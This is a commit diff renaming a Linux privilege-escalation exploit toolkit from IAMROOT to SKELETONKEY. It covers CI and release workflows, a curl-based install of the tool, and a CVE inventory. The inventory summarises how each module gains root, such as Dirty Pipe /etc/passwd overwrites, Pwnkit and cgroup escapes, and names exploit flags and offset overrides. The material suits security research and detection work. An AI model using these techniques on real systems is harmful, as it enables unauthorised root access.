rename: IAMROOT → SKELETONKEY across the entire project
Breaking change. Tool name, binary name, function/type names,
constant names, env vars, header guards, file paths, and GitHub
repo URL all rebrand IAMROOT → SKELETONKEY.
Changes:
- All "IAMROOT" → "SKELETONKEY" (constants, env vars, enum
values, docs, comments)
- All "iamroot" → "skeletonkey" (functions, types, paths, CLI)
- iamroot.c → skeletonkey.c
- modules/*/iamroot_modules.{c,h} → modules/*/skeletonkey_modules.{c,h}
- tools/iamroot-fleet-scan.sh → tools/skeletonkey-fleet-scan.sh
- Binary "iamroot" → "skeletonkey"
- GitHub URL KaraZajac/IAMROOT → KaraZajac/SKELETONKEY
- .gitignore now expects build output named "skeletonkey"
- /tmp/iamroot-* tmpfiles → /tmp/skeletonkey-*
- Env vars IAMROOT_MODPROBE_PATH etc. → SKELETONKEY_*
New ASCII skeleton-key banner (horizontal key icon + ANSI Shadow
SKELETONKEY block letters) replaces the IAMROOT banner in
skeletonkey.c and README.md.
VERSION: 0.3.1 → 0.4.0 (breaking).
Build clean on Debian 6.12.86. `skeletonkey --version` → 0.4.0.
All 24 modules still register; no functional code changes — pure
rename + banner refresh.
This commit is contained in:
@@ -37,22 +37,22 @@ jobs:
|
|||||||
make
|
make
|
||||||
fi
|
fi
|
||||||
|
|
||||||
- name: sanity — iamroot --version
|
- name: sanity — skeletonkey --version
|
||||||
run: ./iamroot --version
|
run: ./skeletonkey --version
|
||||||
|
|
||||||
- name: sanity — iamroot --list
|
- name: sanity — skeletonkey --list
|
||||||
run: ./iamroot --list
|
run: ./skeletonkey --list
|
||||||
|
|
||||||
- name: sanity — iamroot --scan (no exploit; just detect)
|
- name: sanity — skeletonkey --scan (no exploit; just detect)
|
||||||
run: ./iamroot --scan --no-color || true
|
run: ./skeletonkey --scan --no-color || true
|
||||||
# exit code may be nonzero (vulnerable host = exit 2, missing
|
# exit code may be nonzero (vulnerable host = exit 2, missing
|
||||||
# precond = exit 4) — that's diagnostic data, not CI failure
|
# precond = exit 4) — that's diagnostic data, not CI failure
|
||||||
|
|
||||||
- name: sanity — --detect-rules auditd
|
- name: sanity — --detect-rules auditd
|
||||||
run: ./iamroot --detect-rules --format=auditd | head -50
|
run: ./skeletonkey --detect-rules --format=auditd | head -50
|
||||||
|
|
||||||
- name: sanity — --detect-rules sigma
|
- name: sanity — --detect-rules sigma
|
||||||
run: ./iamroot --detect-rules --format=sigma | head -50
|
run: ./skeletonkey --detect-rules --format=sigma | head -50
|
||||||
|
|
||||||
# Static build job: ensures the project links cleanly when -static is
|
# Static build job: ensures the project links cleanly when -static is
|
||||||
# requested. Useful for deployment to minimal containers / fleet scans
|
# requested. Useful for deployment to minimal containers / fleet scans
|
||||||
@@ -75,7 +75,7 @@ jobs:
|
|||||||
# gate the merge on it. Migrate to musl-gcc when we want a
|
# gate the merge on it. Migrate to musl-gcc when we want a
|
||||||
# truly portable static binary.
|
# truly portable static binary.
|
||||||
continue-on-error: true
|
continue-on-error: true
|
||||||
run: make static && ls -la iamroot
|
run: make static && ls -la skeletonkey
|
||||||
|
|
||||||
# Phase 4 followup (placeholder): kernel-VM matrix. Each entry runs
|
# Phase 4 followup (placeholder): kernel-VM matrix. Each entry runs
|
||||||
# the binary against a VM running a specific (vulnerable or patched)
|
# the binary against a VM running a specific (vulnerable or patched)
|
||||||
|
|||||||
@@ -7,7 +7,7 @@ name: release
|
|||||||
# Maintainer flow:
|
# Maintainer flow:
|
||||||
# git tag v0.1.0
|
# git tag v0.1.0
|
||||||
# git push origin v0.1.0
|
# git push origin v0.1.0
|
||||||
# → CI builds + publishes release with iamroot-x86_64 + iamroot-arm64
|
# → CI builds + publishes release with skeletonkey-x86_64 + skeletonkey-arm64
|
||||||
|
|
||||||
on:
|
on:
|
||||||
push:
|
push:
|
||||||
@@ -44,20 +44,20 @@ jobs:
|
|||||||
CC: ${{ matrix.cc }}
|
CC: ${{ matrix.cc }}
|
||||||
run: |
|
run: |
|
||||||
make
|
make
|
||||||
file iamroot
|
file skeletonkey
|
||||||
ls -la iamroot
|
ls -la skeletonkey
|
||||||
|
|
||||||
- name: rename + checksum
|
- name: rename + checksum
|
||||||
run: |
|
run: |
|
||||||
mv iamroot iamroot-${{ matrix.target }}
|
mv skeletonkey skeletonkey-${{ matrix.target }}
|
||||||
sha256sum iamroot-${{ matrix.target }} > iamroot-${{ matrix.target }}.sha256
|
sha256sum skeletonkey-${{ matrix.target }} > skeletonkey-${{ matrix.target }}.sha256
|
||||||
|
|
||||||
- uses: actions/upload-artifact@v4
|
- uses: actions/upload-artifact@v4
|
||||||
with:
|
with:
|
||||||
name: iamroot-${{ matrix.target }}
|
name: skeletonkey-${{ matrix.target }}
|
||||||
path: |
|
path: |
|
||||||
iamroot-${{ matrix.target }}
|
skeletonkey-${{ matrix.target }}
|
||||||
iamroot-${{ matrix.target }}.sha256
|
skeletonkey-${{ matrix.target }}.sha256
|
||||||
|
|
||||||
release:
|
release:
|
||||||
needs: build
|
needs: build
|
||||||
@@ -72,7 +72,7 @@ jobs:
|
|||||||
- name: flatten artifacts
|
- name: flatten artifacts
|
||||||
run: |
|
run: |
|
||||||
find dist -type f -exec mv {} . \;
|
find dist -type f -exec mv {} . \;
|
||||||
ls -la iamroot-*
|
ls -la skeletonkey-*
|
||||||
|
|
||||||
- name: collect release notes
|
- name: collect release notes
|
||||||
id: notes
|
id: notes
|
||||||
@@ -81,16 +81,16 @@ jobs:
|
|||||||
echo "tag=$tag" >> "$GITHUB_OUTPUT"
|
echo "tag=$tag" >> "$GITHUB_OUTPUT"
|
||||||
# Pull the latest entry from CVES.md / ROADMAP.md for the body
|
# Pull the latest entry from CVES.md / ROADMAP.md for the body
|
||||||
{
|
{
|
||||||
echo "## IAMROOT $tag"
|
echo "## SKELETONKEY $tag"
|
||||||
echo
|
echo
|
||||||
echo "Pre-built binaries for x86_64 and arm64. Checksums alongside."
|
echo "Pre-built binaries for x86_64 and arm64. Checksums alongside."
|
||||||
echo
|
echo
|
||||||
echo "### Install"
|
echo "### Install"
|
||||||
echo
|
echo
|
||||||
echo '```bash'
|
echo '```bash'
|
||||||
echo "curl -sSLfo /tmp/iamroot https://github.com/${GITHUB_REPOSITORY}/releases/download/${tag}/iamroot-\$(uname -m | sed s/aarch64/arm64/)"
|
echo "curl -sSLfo /tmp/skeletonkey https://github.com/${GITHUB_REPOSITORY}/releases/download/${tag}/skeletonkey-\$(uname -m | sed s/aarch64/arm64/)"
|
||||||
echo "chmod +x /tmp/iamroot && sudo mv /tmp/iamroot /usr/local/bin/iamroot"
|
echo "chmod +x /tmp/skeletonkey && sudo mv /tmp/skeletonkey /usr/local/bin/skeletonkey"
|
||||||
echo "iamroot --version"
|
echo "skeletonkey --version"
|
||||||
echo '```'
|
echo '```'
|
||||||
echo
|
echo
|
||||||
echo "Or one-shot via the install script:"
|
echo "Or one-shot via the install script:"
|
||||||
@@ -109,12 +109,12 @@ jobs:
|
|||||||
uses: softprops/action-gh-release@v2
|
uses: softprops/action-gh-release@v2
|
||||||
with:
|
with:
|
||||||
tag_name: ${{ steps.notes.outputs.tag }}
|
tag_name: ${{ steps.notes.outputs.tag }}
|
||||||
name: IAMROOT ${{ steps.notes.outputs.tag }}
|
name: SKELETONKEY ${{ steps.notes.outputs.tag }}
|
||||||
body_path: release-notes.md
|
body_path: release-notes.md
|
||||||
files: |
|
files: |
|
||||||
iamroot-x86_64
|
skeletonkey-x86_64
|
||||||
iamroot-x86_64.sha256
|
skeletonkey-x86_64.sha256
|
||||||
iamroot-arm64
|
skeletonkey-arm64
|
||||||
iamroot-arm64.sha256
|
skeletonkey-arm64.sha256
|
||||||
install.sh
|
install.sh
|
||||||
fail_on_unmatched_files: false # install.sh may not exist at first tag
|
fail_on_unmatched_files: false # install.sh may not exist at first tag
|
||||||
|
|||||||
+1
-1
@@ -5,7 +5,7 @@ build/
|
|||||||
*.dSYM/
|
*.dSYM/
|
||||||
modules/*/build/
|
modules/*/build/
|
||||||
modules/*/dirtyfail
|
modules/*/dirtyfail
|
||||||
modules/*/iamroot
|
modules/*/skeletonkey
|
||||||
.vscode/
|
.vscode/
|
||||||
.idea/
|
.idea/
|
||||||
*.swp
|
*.swp
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
# CVE inventory
|
# CVE inventory
|
||||||
|
|
||||||
The curated list of CVEs IAMROOT exploits, with patch status and
|
The curated list of CVEs SKELETONKEY exploits, with patch status and
|
||||||
module status. Updated as new modules land or as upstream patches
|
module status. Updated as new modules land or as upstream patches
|
||||||
ship.
|
ship.
|
||||||
|
|
||||||
@@ -26,13 +26,13 @@ Status legend:
|
|||||||
**Counts (v0.3.1):** 🟢 13 · 🟡 11 (all `--full-chain` capable) · 🔵 0 · ⚪ 1 · 🔴 0
|
**Counts (v0.3.1):** 🟢 13 · 🟡 11 (all `--full-chain` capable) · 🔵 0 · ⚪ 1 · 🔴 0
|
||||||
|
|
||||||
Every module ships a `NOTICE.md` crediting the original CVE
|
Every module ships a `NOTICE.md` crediting the original CVE
|
||||||
reporter and PoC author. `iamroot --dump-offsets` populates the
|
reporter and PoC author. `skeletonkey --dump-offsets` populates the
|
||||||
embedded offset table for new kernel builds — operators with
|
embedded offset table for new kernel builds — operators with
|
||||||
root on a host can upstream their kernel's offsets via PR.
|
root on a host can upstream their kernel's offsets via PR.
|
||||||
|
|
||||||
## Inventory
|
## Inventory
|
||||||
|
|
||||||
| CVE | Name | Class | First patched | IAMROOT module | Status | Notes |
|
| CVE | Name | Class | First patched | SKELETONKEY module | Status | Notes |
|
||||||
|---|---|---|---|---|---|---|
|
|---|---|---|---|---|---|---|
|
||||||
| CVE-2026-31431 | Copy Fail (algif_aead `authencesn` page-cache write) | LPE (page-cache write → /etc/passwd) | mainline 2026-04-22 | `copy_fail` | 🟢 | Verified on Ubuntu 26.04, Alma 9, Debian 13. Full AppArmor bypass. |
|
| CVE-2026-31431 | Copy Fail (algif_aead `authencesn` page-cache write) | LPE (page-cache write → /etc/passwd) | mainline 2026-04-22 | `copy_fail` | 🟢 | Verified on Ubuntu 26.04, Alma 9, Debian 13. Full AppArmor bypass. |
|
||||||
| CVE-2026-43284 (v4) | Dirty Frag — IPv4 xfrm-ESP page-cache write | LPE (same primitive shape as Copy Fail, different trigger) | mainline 2026-05-XX | `dirty_frag_esp` | 🟢 | Full PoC + active-probe scan |
|
| CVE-2026-43284 (v4) | Dirty Frag — IPv4 xfrm-ESP page-cache write | LPE (same primitive shape as Copy Fail, different trigger) | mainline 2026-05-XX | `dirty_frag_esp` | 🟢 | Full PoC + active-probe scan |
|
||||||
@@ -40,9 +40,9 @@ root on a host can upstream their kernel's offsets via PR.
|
|||||||
| CVE-2026-43500 | Dirty Frag — RxRPC page-cache write | LPE | mainline 2026-05-XX | `dirty_frag_rxrpc` | 🟢 | |
|
| CVE-2026-43500 | Dirty Frag — RxRPC page-cache write | LPE | mainline 2026-05-XX | `dirty_frag_rxrpc` | 🟢 | |
|
||||||
| (variant, no CVE) | Copy Fail GCM variant — xfrm-ESP `rfc4106(gcm(aes))` page-cache write | LPE | n/a | `copy_fail_gcm` | 🟢 | Sibling primitive, same fix |
|
| (variant, no CVE) | Copy Fail GCM variant — xfrm-ESP `rfc4106(gcm(aes))` page-cache write | LPE | n/a | `copy_fail_gcm` | 🟢 | Sibling primitive, same fix |
|
||||||
| CVE-2022-0847 | Dirty Pipe — pipe `PIPE_BUF_FLAG_CAN_MERGE` write | LPE (arbitrary file write into page cache) | mainline 5.17 (2022-02-23) | `dirty_pipe` | 🟢 | Full detect + exploit + cleanup. Detect: branch-backport ranges + **active sentinel probe** (`--active` fires the primitive against a /tmp probe file and verifies the page cache poisoning lands — catches silent distro backports the version check misses). Exploit: page-cache write into /etc/passwd UID field followed by `su` to drop a root shell. Auto-refuses on patched kernels. Cleanup: drop_caches + POSIX_FADV_DONTNEED. |
|
| CVE-2022-0847 | Dirty Pipe — pipe `PIPE_BUF_FLAG_CAN_MERGE` write | LPE (arbitrary file write into page cache) | mainline 5.17 (2022-02-23) | `dirty_pipe` | 🟢 | Full detect + exploit + cleanup. Detect: branch-backport ranges + **active sentinel probe** (`--active` fires the primitive against a /tmp probe file and verifies the page cache poisoning lands — catches silent distro backports the version check misses). Exploit: page-cache write into /etc/passwd UID field followed by `su` to drop a root shell. Auto-refuses on patched kernels. Cleanup: drop_caches + POSIX_FADV_DONTNEED. |
|
||||||
| CVE-2023-0458 | EntryBleed — KPTI prefetchnta KASLR bypass | INFO-LEAK (kbase) | mainline (partial mitigations only) | `entrybleed` | 🟢 | Stage-1 leak brick. Working on lts-6.12.86 (verified 2026-05-16 via `iamroot --exploit entrybleed --i-know`). Default `entry_SYSCALL_64` slot offset matches lts-6.12.x; override via `IAMROOT_ENTRYBLEED_OFFSET=0x...`. Other modules can call `entrybleed_leak_kbase_lib()` as a library. x86_64 only. |
|
| CVE-2023-0458 | EntryBleed — KPTI prefetchnta KASLR bypass | INFO-LEAK (kbase) | mainline (partial mitigations only) | `entrybleed` | 🟢 | Stage-1 leak brick. Working on lts-6.12.86 (verified 2026-05-16 via `skeletonkey --exploit entrybleed --i-know`). Default `entry_SYSCALL_64` slot offset matches lts-6.12.x; override via `SKELETONKEY_ENTRYBLEED_OFFSET=0x...`. Other modules can call `entrybleed_leak_kbase_lib()` as a library. x86_64 only. |
|
||||||
| CVE-2026-31402 | NFS replay-cache heap overflow | LPE (NFS server) | mainline 2026-04-03 | — | ⚪ | Candidate. Different audience (NFS servers) — TBD whether in-scope. |
|
| CVE-2026-31402 | NFS replay-cache heap overflow | LPE (NFS server) | mainline 2026-04-03 | — | ⚪ | Candidate. Different audience (NFS servers) — TBD whether in-scope. |
|
||||||
| CVE-2021-4034 | Pwnkit — pkexec argv[0]=NULL → env-injection | LPE (userspace setuid binary) | polkit 0.121 (2022-01-25) | `pwnkit` | 🟢 | Full detect + exploit (canonical Qualys-style: gconv-modules + execve NULL-argv). Detect handles both polkit version formats (legacy "0.105" + modern "126"). Exploit compiles payload via target's gcc → falls back gracefully if no cc available. Cleanup nukes /tmp/iamroot-pwnkit-* workdirs. **First userspace LPE in IAMROOT**. Ships auditd + sigma rules. |
|
| CVE-2021-4034 | Pwnkit — pkexec argv[0]=NULL → env-injection | LPE (userspace setuid binary) | polkit 0.121 (2022-01-25) | `pwnkit` | 🟢 | Full detect + exploit (canonical Qualys-style: gconv-modules + execve NULL-argv). Detect handles both polkit version formats (legacy "0.105" + modern "126"). Exploit compiles payload via target's gcc → falls back gracefully if no cc available. Cleanup nukes /tmp/skeletonkey-pwnkit-* workdirs. **First userspace LPE in SKELETONKEY**. Ships auditd + sigma rules. |
|
||||||
| CVE-2024-1086 | nf_tables — `nft_verdict_init` cross-cache UAF | LPE (kernel arbitrary R/W via slab UAF) | mainline 6.8-rc1 (Jan 2024) | `nf_tables` | 🟡 | Hand-rolled nfnetlink batch builder (no libmnl dep) constructs the NFT_GOTO+NFT_DROP malformed verdict in a pipapo set, fires the double-free, sprays msg_msg in kmalloc-cg-96 and snapshots slabinfo. Stops before the Notselwyn pipapo R/W dance (per-kernel offsets refused). Branch-backport thresholds: 6.7.2 / 6.6.13 / 6.1.74 / 5.15.149 / 5.10.210 / 5.4.269. Also gates on unprivileged user_ns clone availability. |
|
| CVE-2024-1086 | nf_tables — `nft_verdict_init` cross-cache UAF | LPE (kernel arbitrary R/W via slab UAF) | mainline 6.8-rc1 (Jan 2024) | `nf_tables` | 🟡 | Hand-rolled nfnetlink batch builder (no libmnl dep) constructs the NFT_GOTO+NFT_DROP malformed verdict in a pipapo set, fires the double-free, sprays msg_msg in kmalloc-cg-96 and snapshots slabinfo. Stops before the Notselwyn pipapo R/W dance (per-kernel offsets refused). Branch-backport thresholds: 6.7.2 / 6.6.13 / 6.1.74 / 5.15.149 / 5.10.210 / 5.4.269. Also gates on unprivileged user_ns clone availability. |
|
||||||
| CVE-2021-3493 | Ubuntu overlayfs userns file-capability injection | LPE (host root via file caps in userns-mounted overlayfs) | Ubuntu USN-4915-1 (Apr 2021) | `overlayfs` | 🟢 | Full vsh-style exploit (userns+overlayfs mount + xattr file-cap injection + exec). **Ubuntu-specific** (vanilla upstream didn't enable userns-overlayfs-mount until 5.11). Detect parses /etc/os-release for ID=ubuntu, checks unprivileged_userns_clone sysctl, and with `--active` attempts the mount as a fork-isolated probe. Ships auditd rules covering mount(overlay) + setxattr(security.capability). |
|
| CVE-2021-3493 | Ubuntu overlayfs userns file-capability injection | LPE (host root via file caps in userns-mounted overlayfs) | Ubuntu USN-4915-1 (Apr 2021) | `overlayfs` | 🟢 | Full vsh-style exploit (userns+overlayfs mount + xattr file-cap injection + exec). **Ubuntu-specific** (vanilla upstream didn't enable userns-overlayfs-mount until 5.11). Detect parses /etc/os-release for ID=ubuntu, checks unprivileged_userns_clone sysctl, and with `--active` attempts the mount as a fork-isolated probe. Ships auditd rules covering mount(overlay) + setxattr(security.capability). |
|
||||||
| CVE-2022-2588 | net/sched cls_route4 handle-zero dead UAF | LPE (kernel UAF in cls_route4 filter remove) | mainline 5.20 / 5.19.7 (Aug 2022) | `cls_route4` | 🟡 | Userns+netns reach, tc/ip dummy interface + route4 dangling-filter add/del, msg_msg kmalloc-1k spray, UDP classify drive to follow the dangling pointer, slabinfo delta witness. Stops at empirical UAF-fired signal; no leak→cred overwrite (per-kernel offsets refused). Branch backports: 5.4.213 / 5.10.143 / 5.15.69 / 5.18.18 / 5.19.7. |
|
| CVE-2022-2588 | net/sched cls_route4 handle-zero dead UAF | LPE (kernel UAF in cls_route4 filter remove) | mainline 5.20 / 5.19.7 (Aug 2022) | `cls_route4` | 🟡 | Userns+netns reach, tc/ip dummy interface + route4 dangling-filter add/del, msg_msg kmalloc-1k spray, UDP classify drive to follow the dangling pointer, slabinfo delta witness. Stops at empirical UAF-fired signal; no leak→cred overwrite (per-kernel offsets refused). Branch backports: 5.4.213 / 5.10.143 / 5.15.69 / 5.18.18 / 5.19.7. |
|
||||||
@@ -51,10 +51,10 @@ root on a host can upstream their kernel's offsets via PR.
|
|||||||
| CVE-2022-0492 | cgroup v1 `release_agent` privilege check in wrong namespace | LPE (host root from rootless container or unprivileged userns) | mainline 5.17 (Mar 2022) | `cgroup_release_agent` | 🟢 | Universal structural exploit — no per-kernel offsets, no race. unshare(user|mount|cgroup), mount cgroup v1 RDP controller, write release_agent → ./payload, trigger via notify_on_release. Ships auditd rules covering cgroupfs mount + release_agent writes. Kept as a portable "containers misconfigured" demo. |
|
| CVE-2022-0492 | cgroup v1 `release_agent` privilege check in wrong namespace | LPE (host root from rootless container or unprivileged userns) | mainline 5.17 (Mar 2022) | `cgroup_release_agent` | 🟢 | Universal structural exploit — no per-kernel offsets, no race. unshare(user|mount|cgroup), mount cgroup v1 RDP controller, write release_agent → ./payload, trigger via notify_on_release. Ships auditd rules covering cgroupfs mount + release_agent writes. Kept as a portable "containers misconfigured" demo. |
|
||||||
| CVE-2023-0386 | overlayfs `copy_up` preserves setuid bit across mount-ns boundary | LPE (host root via setuid carrier from unprivileged mount) | mainline 5.11 / 6.2-rc6 (Jan 2023) | `overlayfs_setuid` | 🟢 | Distro-agnostic — places a setuid binary in an overlay lower, mounts via fuse-overlayfs userns trick, executes from upper to inherit the setuid bit + root euid. Branch backports tracked for 5.10.169 / 5.15.92 / 6.1.11 / 6.2.x. |
|
| CVE-2023-0386 | overlayfs `copy_up` preserves setuid bit across mount-ns boundary | LPE (host root via setuid carrier from unprivileged mount) | mainline 5.11 / 6.2-rc6 (Jan 2023) | `overlayfs_setuid` | 🟢 | Distro-agnostic — places a setuid binary in an overlay lower, mounts via fuse-overlayfs userns trick, executes from upper to inherit the setuid bit + root euid. Branch backports tracked for 5.10.169 / 5.15.92 / 6.1.11 / 6.2.x. |
|
||||||
| CVE-2021-22555 | iptables xt_compat heap-OOB → cross-cache UAF | LPE (kernel R/W via 4-byte heap OOB write + msg_msg/sk_buff groom) | mainline 5.12 / 5.11.10 (Apr 2021) | `netfilter_xtcompat` | 🟡 | Hand-rolled `ipt_replace` blob + setsockopt(IPT_SO_SET_REPLACE) fires the 4-byte OOB, msg_msg spray in kmalloc-2k + sk_buff sidecar, MSG_COPY scan for cross-cache landing + slabinfo delta. Stops before the leak → modprobe_path overwrite chain (per-kernel offsets refused). Branch backports: 5.11.10 / 5.10.27 / 5.4.110 / 4.19.185 / 4.14.230 / 4.9.266 / 4.4.266. **Bug existed since 2.6.19 (2006).** Andy Nguyen's PGZ disclosure. |
|
| CVE-2021-22555 | iptables xt_compat heap-OOB → cross-cache UAF | LPE (kernel R/W via 4-byte heap OOB write + msg_msg/sk_buff groom) | mainline 5.12 / 5.11.10 (Apr 2021) | `netfilter_xtcompat` | 🟡 | Hand-rolled `ipt_replace` blob + setsockopt(IPT_SO_SET_REPLACE) fires the 4-byte OOB, msg_msg spray in kmalloc-2k + sk_buff sidecar, MSG_COPY scan for cross-cache landing + slabinfo delta. Stops before the leak → modprobe_path overwrite chain (per-kernel offsets refused). Branch backports: 5.11.10 / 5.10.27 / 5.4.110 / 4.19.185 / 4.14.230 / 4.9.266 / 4.4.266. **Bug existed since 2.6.19 (2006).** Andy Nguyen's PGZ disclosure. |
|
||||||
| CVE-2017-7308 | AF_PACKET TPACKET_V3 integer overflow → heap write-where | LPE (CAP_NET_RAW via userns) | mainline 4.11 / 4.10.6 (Mar 2017) | `af_packet` | 🟡 | Konovalov's TPACKET_V3 overflow + 200-skb spray + best-effort cred race. Offset table (Ubuntu 16.04/4.4 + 18.04/4.15) + `IAMROOT_AFPACKET_OFFSETS` env override for other kernels. x86_64-only; ARM returns PRECOND_FAIL. Branch backports: 4.10.6 / 4.9.18 / 4.4.57 / 3.18.49. |
|
| CVE-2017-7308 | AF_PACKET TPACKET_V3 integer overflow → heap write-where | LPE (CAP_NET_RAW via userns) | mainline 4.11 / 4.10.6 (Mar 2017) | `af_packet` | 🟡 | Konovalov's TPACKET_V3 overflow + 200-skb spray + best-effort cred race. Offset table (Ubuntu 16.04/4.4 + 18.04/4.15) + `SKELETONKEY_AFPACKET_OFFSETS` env override for other kernels. x86_64-only; ARM returns PRECOND_FAIL. Branch backports: 4.10.6 / 4.9.18 / 4.4.57 / 3.18.49. |
|
||||||
| CVE-2022-0185 | legacy_parse_param fsconfig heap OOB → container-escape | LPE (cross-cache UAF → cred overwrite from rootless container) | mainline 5.16.2 (Jan 2022) | `fuse_legacy` | 🟡 | userns+mountns reach, fsopen("cgroup2") + double fsconfig SET_STRING fires the 4k OOB, msg_msg cross-cache groom in kmalloc-4k, MSG_COPY read-back detects whether the OOB landed in an adjacent neighbour. Stops before the m_ts overflow → MSG_COPY arbitrary read chain (scaffold present, no per-kernel offsets). **Container-escape angle** — relevant to rootless docker/podman/snap. Branch backports: 5.16.2 / 5.15.14 / 5.10.91 / 5.4.171. |
|
| CVE-2022-0185 | legacy_parse_param fsconfig heap OOB → container-escape | LPE (cross-cache UAF → cred overwrite from rootless container) | mainline 5.16.2 (Jan 2022) | `fuse_legacy` | 🟡 | userns+mountns reach, fsopen("cgroup2") + double fsconfig SET_STRING fires the 4k OOB, msg_msg cross-cache groom in kmalloc-4k, MSG_COPY read-back detects whether the OOB landed in an adjacent neighbour. Stops before the m_ts overflow → MSG_COPY arbitrary read chain (scaffold present, no per-kernel offsets). **Container-escape angle** — relevant to rootless docker/podman/snap. Branch backports: 5.16.2 / 5.15.14 / 5.10.91 / 5.4.171. |
|
||||||
| CVE-2023-3269 | StackRot — maple-tree VMA-split UAF | LPE (kernel R/W via maple node use-after-RCU) | mainline 6.4-rc4 (Jul 2023) | `stackrot` | 🟡 | Two-thread race driver (MAP_GROWSDOWN + mremap rotation vs fork+fault) with cpu pinning + 3 s budget; kmalloc-192 spray for anon_vma/anon_vma_chain; race-iteration + signal breadcrumb. Honest reliability note in module header: **~<1% race-win/run on a vulnerable kernel** — the public PoC averages minutes-to-hours and needs a much wider VMA staging matrix to be reliable. Useful as a "is the maple-tree path reachable here?" probe. Branch backports: 6.4.4 / 6.3.13 / 6.1.37. |
|
| CVE-2023-3269 | StackRot — maple-tree VMA-split UAF | LPE (kernel R/W via maple node use-after-RCU) | mainline 6.4-rc4 (Jul 2023) | `stackrot` | 🟡 | Two-thread race driver (MAP_GROWSDOWN + mremap rotation vs fork+fault) with cpu pinning + 3 s budget; kmalloc-192 spray for anon_vma/anon_vma_chain; race-iteration + signal breadcrumb. Honest reliability note in module header: **~<1% race-win/run on a vulnerable kernel** — the public PoC averages minutes-to-hours and needs a much wider VMA staging matrix to be reliable. Useful as a "is the maple-tree path reachable here?" probe. Branch backports: 6.4.4 / 6.3.13 / 6.1.37. |
|
||||||
| CVE-2020-14386 | AF_PACKET tpacket_rcv VLAN integer underflow | LPE (heap OOB write via crafted frame) | mainline 5.9 (Sep 2020) | `af_packet2` | 🟡 | Sibling of CVE-2017-7308; tp_reserve underflow + sendmmsg skb spray + slab-delta witness. PRIMITIVE-DEMO scope (no cred overwrite). Branch backports: 5.8.7 / 5.7.16 / 5.4.62 / 4.19.143 / 4.14.197 / 4.9.235. Or Cohen's disclosure. Shares `iamroot-af-packet` audit key with CVE-2017-7308. |
|
| CVE-2020-14386 | AF_PACKET tpacket_rcv VLAN integer underflow | LPE (heap OOB write via crafted frame) | mainline 5.9 (Sep 2020) | `af_packet2` | 🟡 | Sibling of CVE-2017-7308; tp_reserve underflow + sendmmsg skb spray + slab-delta witness. PRIMITIVE-DEMO scope (no cred overwrite). Branch backports: 5.8.7 / 5.7.16 / 5.4.62 / 4.19.143 / 4.14.197 / 4.9.235. Or Cohen's disclosure. Shares `skeletonkey-af-packet` audit key with CVE-2017-7308. |
|
||||||
| CVE-2023-32233 | nf_tables anonymous-set UAF | LPE (kernel UAF in nft_set transaction) | mainline 6.4-rc4 (May 2023) | `nft_set_uaf` | 🟡 | Sondej+Krysiuk. Hand-rolled nfnetlink batch (NEWTABLE → NEWCHAIN → NEWSET(ANON\|EVAL) → NEWRULE(lookup) → DELSET → DELRULE) drives the deactivation skip; cg-512 msg_msg cross-cache spray. Branch backports: 4.19.283 / 5.4.243 / 5.10.180 / 5.15.111 / 6.1.28 / 6.2.15 / 6.3.2. --full-chain forges freed-set with `set->data = kaddr`. |
|
| CVE-2023-32233 | nf_tables anonymous-set UAF | LPE (kernel UAF in nft_set transaction) | mainline 6.4-rc4 (May 2023) | `nft_set_uaf` | 🟡 | Sondej+Krysiuk. Hand-rolled nfnetlink batch (NEWTABLE → NEWCHAIN → NEWSET(ANON\|EVAL) → NEWRULE(lookup) → DELSET → DELRULE) drives the deactivation skip; cg-512 msg_msg cross-cache spray. Branch backports: 4.19.283 / 5.4.243 / 5.10.180 / 5.15.111 / 6.1.28 / 6.2.15 / 6.3.2. --full-chain forges freed-set with `set->data = kaddr`. |
|
||||||
| CVE-2023-4622 | AF_UNIX garbage-collector race UAF | LPE (slab UAF, plain unprivileged) | mainline 6.6-rc1 (Aug 2023) | `af_unix_gc` | 🟡 | Lin Ma. Two-thread race driver: SCM_RIGHTS cycle vs unix_gc trigger; kmalloc-512 (SLAB_TYPESAFE_BY_RCU) refill via msg_msg. **Widest deployment of any module — bug exists since 2.x.** No userns required. Branch backports: 4.14.326 / 4.19.295 / 5.4.257 / 5.10.197 / 5.15.130 / 6.1.51 / 6.5.0. |
|
| CVE-2023-4622 | AF_UNIX garbage-collector race UAF | LPE (slab UAF, plain unprivileged) | mainline 6.6-rc1 (Aug 2023) | `af_unix_gc` | 🟡 | Lin Ma. Two-thread race driver: SCM_RIGHTS cycle vs unix_gc trigger; kmalloc-512 (SLAB_TYPESAFE_BY_RCU) refill via msg_msg. **Widest deployment of any module — bug exists since 2.x.** No userns required. Branch backports: 4.14.326 / 4.19.295 / 5.4.257 / 5.10.197 / 5.15.130 / 6.1.51 / 6.5.0. |
|
||||||
| CVE-2022-25636 | nft_fwd_dup_netdev_offload heap OOB | LPE (kernel R/W via offload action[] OOB) | mainline 5.17 / 5.16.11 (Feb 2022) | `nft_fwd_dup` | 🟡 | Aaron Adams (NCC). NFT_CHAIN_HW_OFFLOAD chain + 16 immediates + fwd writes past action.entries[1]. msg_msg kmalloc-512 spray. Branch backports: 5.4.181 / 5.10.102 / 5.15.25 / 5.16.11. |
|
| CVE-2022-25636 | nft_fwd_dup_netdev_offload heap OOB | LPE (kernel R/W via offload action[] OOB) | mainline 5.17 / 5.16.11 (Feb 2022) | `nft_fwd_dup` | 🟡 | Aaron Adams (NCC). NFT_CHAIN_HW_OFFLOAD chain + 16 immediates + fwd writes past action.entries[1]. msg_msg kmalloc-512 spray. Branch backports: 5.4.181 / 5.10.102 / 5.15.25 / 5.16.11. |
|
||||||
@@ -113,7 +113,7 @@ the relevant distro drops out of the "WORKING" list for that module.
|
|||||||
## Why we exclude some things
|
## Why we exclude some things
|
||||||
|
|
||||||
- **0-days the maintainer found themselves**: those go through
|
- **0-days the maintainer found themselves**: those go through
|
||||||
responsible disclosure first, then enter IAMROOT after upstream patch
|
responsible disclosure first, then enter SKELETONKEY after upstream patch
|
||||||
- **kCTF VRP submissions in flight**: same as above; disclosure
|
- **kCTF VRP submissions in flight**: same as above; disclosure
|
||||||
before bundling
|
before bundling
|
||||||
- **Hardware-specific side channels** (Spectre/Meltdown variants):
|
- **Hardware-specific side channels** (Spectre/Meltdown variants):
|
||||||
|
|||||||
@@ -1,15 +1,15 @@
|
|||||||
# IAMROOT — top-level Makefile (Phase 1)
|
# SKELETONKEY — top-level Makefile (Phase 1)
|
||||||
#
|
#
|
||||||
# Builds one binary `iamroot` linked from:
|
# Builds one binary `skeletonkey` linked from:
|
||||||
# - core/ module interface + registry
|
# - core/ module interface + registry
|
||||||
